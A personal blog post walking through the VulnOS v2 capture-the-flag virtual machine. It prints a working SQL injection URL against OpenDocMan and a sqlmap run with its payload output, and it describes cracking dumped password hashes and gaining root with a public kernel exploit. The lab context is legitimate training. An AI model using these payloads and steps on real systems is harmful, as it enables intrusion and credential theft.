Friday, 20 May 2016

Cracking VulnOS v2 [spoiler alert]

So, I had a bit of free time this afternoon and set about attacking the VulnOS v2 from c4b3rw0lf - it was a fun, realistic challenge that I would recommend to anybody with basic to intermediate skills.  It should take a couple of hours tops.

If you would rather have a go yourself first, don't read on.  Grab a copy of the virtual machine from: https://www.vulnhub.com/entry/vulnos-2,147/ - load it into VirtualBox and hack away.

A note that while you are setting it up, you might want to change the configured network adapter - mine didn't work with the preconfigured host-only network so I just flipped it onto bridged.  Easy to figure out which IP was assigned to the VM this way by checking your router/DHCP logs.

---SPOILERS BELOW---

Okay so, I've set up the VM, booted it & figured out the IP that I'm targeting, the mission is described as the following: "Your assignment is to pentest a company website, get root of the system and read the final flag", so while I kick off a quick nmap in the background, I browse to the port 80 and see this;


Okay - a basic intro, leading to the main challenge website...



While checking out the website, letting Burp's spider and passive scanner do it's stuff, I fire up dirbuster and see what it can find - a lot, as it happens...  over 700 results, mostly junk.  The most interesting part so far came from manually crawling the site and hitting on some 'hidden' text under the Documentation section...


Black text on a black background... Hardly great security but easy to miss if you're checking through the sections too quickly.



Anyway, jabcd0cs is *interesting* because we have some known issues on this exact version of OpenDocMan...


According to the text file (BTW, thanks to High-Tech Bridge Security Research Lab - https://www.htbridge.com/advisory/ for the discovery and write-up), one of the two issues disclosed is a nice SQL injection with the following example;

 http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v  
 ersion%28%29,3,4,5,6,7,8,9

This works!  We get the MySQL version echo'ed back.


Nice.  Time to crank up sqlmap and cheat be efficient!

 root@kali:~# sqlmap -u 'http://192.168.1.53/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user'  
      _  
  ___ ___| |_____ ___ ___ {1.0.5.0#dev}  
 |_ -| . | |   | .'| . |  
 |___|_ |_|_|_|_|__,| _|  
    |_|      |_|  http://sqlmap.org  
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
 [*] starting at 18:01:10  
 [18:01:11] [INFO] resuming back-end DBMS 'mysql'   
 [18:01:11] [INFO] testing connection to the target URL  
 [18:01:11] [INFO] heuristics detected web page charset 'ISO-8859-2'  
...sqlmap output doing it's thing snipped from here...
 ---  
 Parameter: add_value (GET)  
   Type: UNION query  
   Title: MySQL UNION query (33) - 9 columns  
   Payload: q=1&add_value=odm_user UNION ALL SELECT CONCAT(0x7171786a71,0x58726c6f484b4c4c5765797753754e7954724a7a774e4b58586150686a55696e736c7447494c4b42,0x716a786b71),33,33,33,33,33,33,33,33#  
 ---  
 [18:01:11] [INFO] the back-end DBMS is MySQL  
 web server operating system: Linux Ubuntu  
 web application technology: Apache 2.4.7, PHP 5.5.9  
 back-end DBMS: MySQL 5  
 [18:01:11] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.53'  
 root@kali:~#

Awesome.  Now, first things that I tried were the --os-cmd, --os-shell, --os-pwn but no luck - the DB user didn't have permissions to write anywhere in the webroot.  Thinking I might have hit a dead end, I set sqlmap to dump everything and set about looking at the other ports on the machine.

Other ports were SSH and (oddly) an IRC server.  I connected to the IRC server, no bots, no channels, no sploits.  Similarly with the SSH server, no spoilts and no default/easily-guessed accounts.

In the meantime, sqlmap had dumped the MySQL hashes  and cracked three user accounts with a familiar password;


Unfortunately none of these MySQL account passwords matched the system level passwords - I couldn't use them to log in via SSH...  Before long, sqlmap dumped another interesting table and offered to crack some more passwords...


It only cracked the one password (guest:guest) - which didn't match a system account either, so no SSH yet. Knowing that it had done this and so proven the hashing algorithm, I stuck them into John hoping that it would do a better job - and it did.


Peter+Winter didn't work but the webmin account gives me an SSH shell - onto the privesc!


At this point, I got a bit sidetracked into looking for system misconfigurations and spent some time running unix-privesc-check and reviewing the (considerable) stdout...  Nothing until I realised that the kernel version was vulnerable to the 'ofs.c' exploit (thanks to rebel - CVE-2015-1328).  Last year I had started work on a script to do the logic on lookups of which kernel exploits work based upon uname output...  Once I get some time, I'll publish this - that would of helped in this situation.


So... Pwn'd!  Remember that if, like me, you were compiling the exploit on a 64-bit platform, you'll need to install libc6-dev-i386 and pass the -m32 flag to gcc before scp'ing the file over to the VulnOS box.


Update:  as per request from FX, the unix-privesc-check script can be found at http://pentestmonkey.net/tools/audit/unix-privesc-check - thanks to Pentest Monkey and the ofs.c kernel exploit used can be found here: https://www.exploit-db.com/exploits/37292/ - thanks to rebel!
Posted by at